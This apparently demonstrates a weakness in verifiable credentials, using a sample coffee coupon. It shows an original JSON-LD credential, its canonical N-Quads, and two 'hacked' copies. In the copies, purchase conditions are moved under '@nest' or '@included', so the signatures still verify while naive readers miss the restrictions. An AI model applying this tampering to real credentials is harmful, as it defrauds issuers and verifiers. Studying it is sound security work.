How to remove restrictions from VCs

both_canonized.n4

<did:key:123> <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#clippedCoupon> _:c14n3 .
<did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> <https://schema.org/image> "https://vcplayground.org/examples/gs1-8110-coupon/logo.png" .
<did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> <https://schema.org/name> "Local Coffee Shop" .
<did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> <https://schema.org/url> "https://coffee.example.com" .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#GS18110CouponCredential> .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <https://www.w3.org/2018/credentials#VerifiableCredential> .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://schema.org/description> "Digital coupon: Buy one, get one free 16 oz coffees." .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://schema.org/image> "https://vcplayground.org/examples/gs1-8110-coupon/image.png" .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://schema.org/name> "Retail Coupon" .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://w3id.org/security#proof> _:c14n1 .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://w3id.org/security#proof> _:c14n2 .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://www.w3.org/2018/credentials#credentialSubject> <did:key:123> .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://www.w3.org/2018/credentials#issuanceDate> "2024-01-02T22:32:45.920Z"^^<http://www.w3.org/2001/XMLSchema#dateTime> .
<https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf> <https://www.w3.org/2018/credentials#issuer> <did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <http://purl.org/dc/terms/created> "2024-01-02T22:32:47Z"^^<http://www.w3.org/2001/XMLSchema#dateTime> _:c14n2 .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <https://w3id.org/security#DataIntegrityProof> _:c14n2 .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <https://w3id.org/security#cryptosuite> "ecdsa-sd-2023"^^<https://w3id.org/security#cryptosuiteString> _:c14n2 .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <https://w3id.org/security#proofPurpose> <https://w3id.org/security#assertionMethod> _:c14n2 .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <https://w3id.org/security#proofValue> "u2V0AhVhAGAp587ny7vVpneX_CDuy3X7D9j3eLoHT8kikr69V-rIrNvrN9iX5yEW-V4Z1BJObn7WKnkPa_fYR_gAJc9RBMFgjgCQDSs5W0F8V3At-1i7ItrezCjcBZjgeEc2hgWAf_3CwVKZYIGalkON0kSE3UlTxbOvkasSVBLCaMgDPS5eEm0o8GjXtkFhA1cFl24JN5gjtrxYLs65vUVIMRY3m6Gcg4mLZ4WPTq5llKT_EKv_TUX5a_MPAwqslezwvP7TCsdeUTtuujGOj5FhA-Mc_C0-vZxmBIakC0RWTDECLFcbp45byrnTMCQwOwPVmTrAmatiAbNYrH4IFe-4CM1s0jjWnI6JljW8Gm7CRpFhA4_mBN1mXXYtetko9hniQTbuXrfQrzcD--pp2wt99ODzFRzULYgMutdSMmjkhAyK0iH2hTqw4IYXaTOEyRcFJbVhAqKRfoK5HEm1QSDVGSHlzZiZcZnYhnpsrxQ_nRw0Bx-Ury4qX3tHhlzm-k-Wf6jaNPsI4Cs2L9J5ymqz4-lJefVhAesjfm-TA01iGoQ6nJCckEPXfP90DRejf7Jow4yrQadw7FREe2h_0dsdJH0DB1QvEwo3vv8uExzZoKaaGnlGoTFhAY-kDCwZDruawx5VeqeD54i_r1EqXuYjvhqyqR_y2umDbdpz9ZKEwXMPVg_4_xkSxGW-zXv7x8GO0gSVFcvAreVhACr__cKSwGwd_uPbhHmbXBVB3tPq0rjFLuNdGYulhKeEZlgcqQtqS-RM14oGAwOBnFYlWFuJnHnpSBbSvx7hmyVhA2P3DmOD2aPTAkwmpzYn03vNR_CoVpo9GvSP1xx6_I46gR4zX3YclkjApFxOe0qs7r4F5QrV03bySKPkSHsBst1hAEvx5Kiz8R-zh1CnDbryrClZAWYWGowRENC70IkhisMtZ7Po72Tal_lPMC1dcTkWR8Thn5RzoJdUwx5juBBjGo1hAi98lDBwm4rwouYrOIE7G8b3x1aTu1oeTVlVrwr3eGGJuC3Fqh8JiZR5SC3pjOtO4bJC-A3-qvKFw6s_AxLWv6VhAwDPyJbaZR5zqJhhH46TDVFmpRx-mlJwJsacQS07tKQtwlNGRn2ABq5kHbmPKcMN9eRArjqu-IYFN7dktvHJDSlhAOtV7DhUkk9M3FRT31Y6B7TIQsdz0byKNM_9n4tNv-9z79DXShT-RBMIh59R0JVS4VLh69RYFTNOi9oPi1blso1hAP7XQD8h05yPvJNDSOO6epPHiBCIrW36DJSUEe5pfuRy_PqIYMpVB26utf8XE64iGo1w_ZLQSbRU7tiRtaTO4TFhAr-atnocQ9op6auE4spyZPBvNPhdFTXP808_57pDtGPb6SJK3bdSilrf3xuFe7BVs-iWVLhYpAHbQAgZ6ECD0alhAYm_6Uhc48RlrwyL4vT9T5AkoR_xX3lkjE7FuszbVQAOhSWJcJPzukbfIZXn9WR4uIkI9tC8whj82qTG7xI7S51hAHxy_jKU_3vunFdKlqO9m1pjUNRwz8FSI7tw8fixuZ04hge_6H-C-vrxJAC3mQ2K2O2ecCcWFp77W3gVKN9iQSoJnL2lzc3Vlcm0vaXNzdWFuY2VEYXRl"^^<https://w3id.org/security#multibase> _:c14n2 .
<urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd> <https://w3id.org/security#verificationMethod> <did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> _:c14n2 .
_:c14n0 <http://purl.org/dc/terms/created> "2024-01-02T22:32:45Z"^^<http://www.w3.org/2001/XMLSchema#dateTime> _:c14n1 .
_:c14n0 <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <https://w3id.org/security#DataIntegrityProof> _:c14n1 .
_:c14n0 <https://w3id.org/security#cryptosuite> "ecdsa-rdfc-2019"^^<https://w3id.org/security#cryptosuiteString> _:c14n1 .
_:c14n0 <https://w3id.org/security#proofPurpose> <https://w3id.org/security#assertionMethod> _:c14n1 .
_:c14n0 <https://w3id.org/security#proofValue> "z2UMncLZGqy4ghq1gGd1F7P6ZdMhXoG8PcihDtN7FRUMaJNiBJUCG6cRKh4CAWQaHCM8o7e5u54hspsiHfiR9Enct"^^<https://w3id.org/security#multibase> _:c14n1 .
_:c14n0 <https://w3id.org/security#verificationMethod> <did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb> _:c14n1 .
_:c14n3 <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#CouponOffer> .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#applicationId> "8110"^^<http://www.w3.org/2001/XMLSchema#integer> .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#gs1CompanyPrefix> "123456789" .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#offerCode> "123456" .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#primaryPurchaseFamilyCode> "123"^^<http://www.w3.org/2001/XMLSchema#integer> .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#primaryPurchaseRequirement> "2"^^<http://www.w3.org/2001/XMLSchema#integer> .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#primaryPurchaseRequirementCode> "Number of Units" .
_:c14n3 <https://contexts.vcplayground.org/examples/gs1-8110-coupon/vocab#saveValue> "199" .
_:c14n3 <https://gs1.org/voc/exclusionDescription> "Not valid with other offers. Void where prohibited. Coupon may be used only once in an authorized partner retailer. Total purchase must include coffee. Not valid in the Bermuda Triangle. Not valid for cash or cash equvalent, on purchase of gift cards or previously purchased coffee. Other exclusions may apply, ask store associate for details. Offer may not be combined with any other coupons (other than Rewards Certificates). Items purchased with certificates, coupons, or special offers will result in adjusted refund amount." .
_:c14n3 <https://gs1.org/voc/gtin> "00512345000107" .
_:c14n3 <https://gs1.org/voc/offerDescription> "Buy one, get one free 16 oz coffees." .

hacked-same-contexts.vc.jsonld

{
  "@context": [
    "https://www.w3.org/2018/credentials/v1",
    "https://contexts.vcplayground.org/examples/gs1-8110-coupon/v2.json",
    "https://w3id.org/security/data-integrity/v2"
  ],
  "type": [
    "VerifiableCredential",
    "GS18110CouponCredential"
  ],
  "issuer": {
    "id": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
    "name": "Local Coffee Shop",
    "url": "https://coffee.example.com",
    "image": "https://vcplayground.org/examples/gs1-8110-coupon/logo.png"
  },
  "name": "Retail Coupon",
  "description": "Digital coupon: Buy one, get one free 16 oz coffees.",
  "issuanceDate": "2024-01-02T22:32:45.920Z",
  "image": "https://vcplayground.org/examples/gs1-8110-coupon/image.png",
  "credentialSubject": {
    "id": "did:key:123",
    "clippedCoupon": {
      "id": "_:blank1",
      "type": "CouponOffer",
      "gtin": "00512345000107",
      "offerDescription": "Buy one, get one free 16 oz coffees.",
      "exclusionDescription": "Not valid with other offers. Void where prohibited. Coupon may be used only once in an authorized partner retailer. Total purchase must include coffee. Not valid in the Bermuda Triangle. Not valid for cash or cash equvalent, on purchase of gift cards or previously purchased coffee. Other exclusions may apply, ask store associate for details. Offer may not be combined with any other coupons (other than Rewards Certificates). Items purchased with certificates, coupons, or special offers will result in adjusted refund amount.",
      "applicationId": 8110,
      "gs1CompanyPrefix": "123456789",
      "offerCode": "123456",
      "saveValue": "199"
    },
    "@included": {
      "id": "_:blank1",
      "type": "CouponOffer",
      "primaryPurchaseRequirement": 2,
      "primaryPurchaseRequirementCode": "Number of Units",
      "primaryPurchaseFamilyCode": 123
    }
  },
  "id": "https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf",
  "proof": [
    {
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:45Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-rdfc-2019",
      "proofPurpose": "assertionMethod",
      "proofValue": "z2UMncLZGqy4ghq1gGd1F7P6ZdMhXoG8PcihDtN7FRUMaJNiBJUCG6cRKh4CAWQaHCM8o7e5u54hspsiHfiR9Enct"
    },
    {
      "id": "urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd",
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:47Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-sd-2023",
      "proofPurpose": "assertionMethod",
      "proofValue": "u2V0AhVhAGAp587ny7vVpneX_CDuy3X7D9j3eLoHT8kikr69V-rIrNvrN9iX5yEW-V4Z1BJObn7WKnkPa_fYR_gAJc9RBMFgjgCQDSs5W0F8V3At-1i7ItrezCjcBZjgeEc2hgWAf_3CwVKZYIGalkON0kSE3UlTxbOvkasSVBLCaMgDPS5eEm0o8GjXtkFhA1cFl24JN5gjtrxYLs65vUVIMRY3m6Gcg4mLZ4WPTq5llKT_EKv_TUX5a_MPAwqslezwvP7TCsdeUTtuujGOj5FhA-Mc_C0-vZxmBIakC0RWTDECLFcbp45byrnTMCQwOwPVmTrAmatiAbNYrH4IFe-4CM1s0jjWnI6JljW8Gm7CRpFhA4_mBN1mXXYtetko9hniQTbuXrfQrzcD--pp2wt99ODzFRzULYgMutdSMmjkhAyK0iH2hTqw4IYXaTOEyRcFJbVhAqKRfoK5HEm1QSDVGSHlzZiZcZnYhnpsrxQ_nRw0Bx-Ury4qX3tHhlzm-k-Wf6jaNPsI4Cs2L9J5ymqz4-lJefVhAesjfm-TA01iGoQ6nJCckEPXfP90DRejf7Jow4yrQadw7FREe2h_0dsdJH0DB1QvEwo3vv8uExzZoKaaGnlGoTFhAY-kDCwZDruawx5VeqeD54i_r1EqXuYjvhqyqR_y2umDbdpz9ZKEwXMPVg_4_xkSxGW-zXv7x8GO0gSVFcvAreVhACr__cKSwGwd_uPbhHmbXBVB3tPq0rjFLuNdGYulhKeEZlgcqQtqS-RM14oGAwOBnFYlWFuJnHnpSBbSvx7hmyVhA2P3DmOD2aPTAkwmpzYn03vNR_CoVpo9GvSP1xx6_I46gR4zX3YclkjApFxOe0qs7r4F5QrV03bySKPkSHsBst1hAEvx5Kiz8R-zh1CnDbryrClZAWYWGowRENC70IkhisMtZ7Po72Tal_lPMC1dcTkWR8Thn5RzoJdUwx5juBBjGo1hAi98lDBwm4rwouYrOIE7G8b3x1aTu1oeTVlVrwr3eGGJuC3Fqh8JiZR5SC3pjOtO4bJC-A3-qvKFw6s_AxLWv6VhAwDPyJbaZR5zqJhhH46TDVFmpRx-mlJwJsacQS07tKQtwlNGRn2ABq5kHbmPKcMN9eRArjqu-IYFN7dktvHJDSlhAOtV7DhUkk9M3FRT31Y6B7TIQsdz0byKNM_9n4tNv-9z79DXShT-RBMIh59R0JVS4VLh69RYFTNOi9oPi1blso1hAP7XQD8h05yPvJNDSOO6epPHiBCIrW36DJSUEe5pfuRy_PqIYMpVB26utf8XE64iGo1w_ZLQSbRU7tiRtaTO4TFhAr-atnocQ9op6auE4spyZPBvNPhdFTXP808_57pDtGPb6SJK3bdSilrf3xuFe7BVs-iWVLhYpAHbQAgZ6ECD0alhAYm_6Uhc48RlrwyL4vT9T5AkoR_xX3lkjE7FuszbVQAOhSWJcJPzukbfIZXn9WR4uIkI9tC8whj82qTG7xI7S51hAHxy_jKU_3vunFdKlqO9m1pjUNRwz8FSI7tw8fixuZ04hge_6H-C-vrxJAC3mQ2K2O2ecCcWFp77W3gVKN9iQSoJnL2lzc3Vlcm0vaXNzdWFuY2VEYXRl"
    }
  ]
}

hacked.vc.jsonld

{
  "@context": [
    "https://www.w3.org/2018/credentials/v1",
    "https://contexts.vcplayground.org/examples/gs1-8110-coupon/v2.json",
    "https://w3id.org/security/data-integrity/v2",
    {
      "hidden": "@nest"
    }
  ],
  "type": [
    "VerifiableCredential",
    "GS18110CouponCredential"
  ],
  "issuer": {
    "id": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
    "name": "Local Coffee Shop",
    "url": "https://coffee.example.com",
    "image": "https://vcplayground.org/examples/gs1-8110-coupon/logo.png"
  },
  "name": "Retail Coupon",
  "description": "Digital coupon: Buy one, get one free 16 oz coffees.",
  "issuanceDate": "2024-01-02T22:32:45.920Z",
  "image": "https://vcplayground.org/examples/gs1-8110-coupon/image.png",
  "credentialSubject": {
    "id": "did:key:123",
    "clippedCoupon": {
      "id": "_:blank1",
      "type": "CouponOffer",
      "gtin": "00512345000107",
      "offerDescription": "Buy one, get one free 16 oz coffees.",
      "exclusionDescription": "Not valid with other offers. Void where prohibited. Coupon may be used only once in an authorized partner retailer. Total purchase must include coffee. Not valid in the Bermuda Triangle. Not valid for cash or cash equvalent, on purchase of gift cards or previously purchased coffee. Other exclusions may apply, ask store associate for details. Offer may not be combined with any other coupons (other than Rewards Certificates). Items purchased with certificates, coupons, or special offers will result in adjusted refund amount.",
      "applicationId": 8110,
      "gs1CompanyPrefix": "123456789",
      "offerCode": "123456",
      "saveValue": "199"
    },
    "hidden": {
      "clippedCoupon": {
        "id": "_:blank1",
        "type": "CouponOffer",
        "primaryPurchaseRequirement": 2,
        "primaryPurchaseRequirementCode": "Number of Units",
        "primaryPurchaseFamilyCode": 123
      }
    }
  },
  "id": "https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf",
  "proof": [
    {
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:45Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-rdfc-2019",
      "proofPurpose": "assertionMethod",
      "proofValue": "z2UMncLZGqy4ghq1gGd1F7P6ZdMhXoG8PcihDtN7FRUMaJNiBJUCG6cRKh4CAWQaHCM8o7e5u54hspsiHfiR9Enct"
    },
    {
      "id": "urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd",
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:47Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-sd-2023",
      "proofPurpose": "assertionMethod",
      "proofValue": "u2V0AhVhAGAp587ny7vVpneX_CDuy3X7D9j3eLoHT8kikr69V-rIrNvrN9iX5yEW-V4Z1BJObn7WKnkPa_fYR_gAJc9RBMFgjgCQDSs5W0F8V3At-1i7ItrezCjcBZjgeEc2hgWAf_3CwVKZYIGalkON0kSE3UlTxbOvkasSVBLCaMgDPS5eEm0o8GjXtkFhA1cFl24JN5gjtrxYLs65vUVIMRY3m6Gcg4mLZ4WPTq5llKT_EKv_TUX5a_MPAwqslezwvP7TCsdeUTtuujGOj5FhA-Mc_C0-vZxmBIakC0RWTDECLFcbp45byrnTMCQwOwPVmTrAmatiAbNYrH4IFe-4CM1s0jjWnI6JljW8Gm7CRpFhA4_mBN1mXXYtetko9hniQTbuXrfQrzcD--pp2wt99ODzFRzULYgMutdSMmjkhAyK0iH2hTqw4IYXaTOEyRcFJbVhAqKRfoK5HEm1QSDVGSHlzZiZcZnYhnpsrxQ_nRw0Bx-Ury4qX3tHhlzm-k-Wf6jaNPsI4Cs2L9J5ymqz4-lJefVhAesjfm-TA01iGoQ6nJCckEPXfP90DRejf7Jow4yrQadw7FREe2h_0dsdJH0DB1QvEwo3vv8uExzZoKaaGnlGoTFhAY-kDCwZDruawx5VeqeD54i_r1EqXuYjvhqyqR_y2umDbdpz9ZKEwXMPVg_4_xkSxGW-zXv7x8GO0gSVFcvAreVhACr__cKSwGwd_uPbhHmbXBVB3tPq0rjFLuNdGYulhKeEZlgcqQtqS-RM14oGAwOBnFYlWFuJnHnpSBbSvx7hmyVhA2P3DmOD2aPTAkwmpzYn03vNR_CoVpo9GvSP1xx6_I46gR4zX3YclkjApFxOe0qs7r4F5QrV03bySKPkSHsBst1hAEvx5Kiz8R-zh1CnDbryrClZAWYWGowRENC70IkhisMtZ7Po72Tal_lPMC1dcTkWR8Thn5RzoJdUwx5juBBjGo1hAi98lDBwm4rwouYrOIE7G8b3x1aTu1oeTVlVrwr3eGGJuC3Fqh8JiZR5SC3pjOtO4bJC-A3-qvKFw6s_AxLWv6VhAwDPyJbaZR5zqJhhH46TDVFmpRx-mlJwJsacQS07tKQtwlNGRn2ABq5kHbmPKcMN9eRArjqu-IYFN7dktvHJDSlhAOtV7DhUkk9M3FRT31Y6B7TIQsdz0byKNM_9n4tNv-9z79DXShT-RBMIh59R0JVS4VLh69RYFTNOi9oPi1blso1hAP7XQD8h05yPvJNDSOO6epPHiBCIrW36DJSUEe5pfuRy_PqIYMpVB26utf8XE64iGo1w_ZLQSbRU7tiRtaTO4TFhAr-atnocQ9op6auE4spyZPBvNPhdFTXP808_57pDtGPb6SJK3bdSilrf3xuFe7BVs-iWVLhYpAHbQAgZ6ECD0alhAYm_6Uhc48RlrwyL4vT9T5AkoR_xX3lkjE7FuszbVQAOhSWJcJPzukbfIZXn9WR4uIkI9tC8whj82qTG7xI7S51hAHxy_jKU_3vunFdKlqO9m1pjUNRwz8FSI7tw8fixuZ04hge_6H-C-vrxJAC3mQ2K2O2ecCcWFp77W3gVKN9iQSoJnL2lzc3Vlcm0vaXNzdWFuY2VEYXRl"
    }
  ]
}

original.vc.jsonld

{
  "@context": [
    "https://www.w3.org/2018/credentials/v1",
    "https://contexts.vcplayground.org/examples/gs1-8110-coupon/v2.json",
    "https://w3id.org/security/data-integrity/v2"
  ],
  "type": [
    "VerifiableCredential",
    "GS18110CouponCredential"
  ],
  "issuer": {
    "id": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
    "name": "Local Coffee Shop",
    "url": "https://coffee.example.com",
    "image": "https://vcplayground.org/examples/gs1-8110-coupon/logo.png"
  },
  "name": "Retail Coupon",
  "description": "Digital coupon: Buy one, get one free 16 oz coffees.",
  "issuanceDate": "2024-01-02T22:32:45.920Z",
  "image": "https://vcplayground.org/examples/gs1-8110-coupon/image.png",
  "credentialSubject": {
    "id": "did:key:123",
    "clippedCoupon": {
      "type": "CouponOffer",
      "gtin": "00512345000107",
      "offerDescription": "Buy one, get one free 16 oz coffees.",
      "exclusionDescription": "Not valid with other offers. Void where prohibited. Coupon may be used only once in an authorized partner retailer. Total purchase must include coffee. Not valid in the Bermuda Triangle. Not valid for cash or cash equvalent, on purchase of gift cards or previously purchased coffee. Other exclusions may apply, ask store associate for details. Offer may not be combined with any other coupons (other than Rewards Certificates). Items purchased with certificates, coupons, or special offers will result in adjusted refund amount.",
      "applicationId": 8110,
      "gs1CompanyPrefix": "123456789",
      "offerCode": "123456",
      "saveValue": "199",
      "primaryPurchaseRequirement": 2,
      "primaryPurchaseRequirementCode": "Number of Units",
      "primaryPurchaseFamilyCode": 123
    }
  },
  "id": "https://vcplayground.org/credential/S2SUvnaXJEzZKoG-L-bxf",
  "proof": [
    {
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:45Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-rdfc-2019",
      "proofPurpose": "assertionMethod",
      "proofValue": "z2UMncLZGqy4ghq1gGd1F7P6ZdMhXoG8PcihDtN7FRUMaJNiBJUCG6cRKh4CAWQaHCM8o7e5u54hspsiHfiR9Enct"
    },
    {
      "id": "urn:uuid:95cf1562-d0d1-44ac-9ee2-e05e68f9e4bd",
      "type": "DataIntegrityProof",
      "created": "2024-01-02T22:32:47Z",
      "verificationMethod": "did:key:zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb#zDnaejUmiZqk8LrjB4iLd9SVF9zANU5A9YMdBiAKfgWbFGKdb",
      "cryptosuite": "ecdsa-sd-2023",
      "proofPurpose": "assertionMethod",
      "proofValue": "u2V0AhVhAGAp587ny7vVpneX_CDuy3X7D9j3eLoHT8kikr69V-rIrNvrN9iX5yEW-V4Z1BJObn7WKnkPa_fYR_gAJc9RBMFgjgCQDSs5W0F8V3At-1i7ItrezCjcBZjgeEc2hgWAf_3CwVKZYIGalkON0kSE3UlTxbOvkasSVBLCaMgDPS5eEm0o8GjXtkFhA1cFl24JN5gjtrxYLs65vUVIMRY3m6Gcg4mLZ4WPTq5llKT_EKv_TUX5a_MPAwqslezwvP7TCsdeUTtuujGOj5FhA-Mc_C0-vZxmBIakC0RWTDECLFcbp45byrnTMCQwOwPVmTrAmatiAbNYrH4IFe-4CM1s0jjWnI6JljW8Gm7CRpFhA4_mBN1mXXYtetko9hniQTbuXrfQrzcD--pp2wt99ODzFRzULYgMutdSMmjkhAyK0iH2hTqw4IYXaTOEyRcFJbVhAqKRfoK5HEm1QSDVGSHlzZiZcZnYhnpsrxQ_nRw0Bx-Ury4qX3tHhlzm-k-Wf6jaNPsI4Cs2L9J5ymqz4-lJefVhAesjfm-TA01iGoQ6nJCckEPXfP90DRejf7Jow4yrQadw7FREe2h_0dsdJH0DB1QvEwo3vv8uExzZoKaaGnlGoTFhAY-kDCwZDruawx5VeqeD54i_r1EqXuYjvhqyqR_y2umDbdpz9ZKEwXMPVg_4_xkSxGW-zXv7x8GO0gSVFcvAreVhACr__cKSwGwd_uPbhHmbXBVB3tPq0rjFLuNdGYulhKeEZlgcqQtqS-RM14oGAwOBnFYlWFuJnHnpSBbSvx7hmyVhA2P3DmOD2aPTAkwmpzYn03vNR_CoVpo9GvSP1xx6_I46gR4zX3YclkjApFxOe0qs7r4F5QrV03bySKPkSHsBst1hAEvx5Kiz8R-zh1CnDbryrClZAWYWGowRENC70IkhisMtZ7Po72Tal_lPMC1dcTkWR8Thn5RzoJdUwx5juBBjGo1hAi98lDBwm4rwouYrOIE7G8b3x1aTu1oeTVlVrwr3eGGJuC3Fqh8JiZR5SC3pjOtO4bJC-A3-qvKFw6s_AxLWv6VhAwDPyJbaZR5zqJhhH46TDVFmpRx-mlJwJsacQS07tKQtwlNGRn2ABq5kHbmPKcMN9eRArjqu-IYFN7dktvHJDSlhAOtV7DhUkk9M3FRT31Y6B7TIQsdz0byKNM_9n4tNv-9z79DXShT-RBMIh59R0JVS4VLh69RYFTNOi9oPi1blso1hAP7XQD8h05yPvJNDSOO6epPHiBCIrW36DJSUEe5pfuRy_PqIYMpVB26utf8XE64iGo1w_ZLQSbRU7tiRtaTO4TFhAr-atnocQ9op6auE4spyZPBvNPhdFTXP808_57pDtGPb6SJK3bdSilrf3xuFe7BVs-iWVLhYpAHbQAgZ6ECD0alhAYm_6Uhc48RlrwyL4vT9T5AkoR_xX3lkjE7FuszbVQAOhSWJcJPzukbfIZXn9WR4uIkI9tC8whj82qTG7xI7S51hAHxy_jKU_3vunFdKlqO9m1pjUNRwz8FSI7tw8fixuZ04hge_6H-C-vrxJAC3mQ2K2O2ecCcWFp77W3gVKN9iQSoJnL2lzc3Vlcm0vaXNzdWFuY2VEYXRl"
    }
  ]
}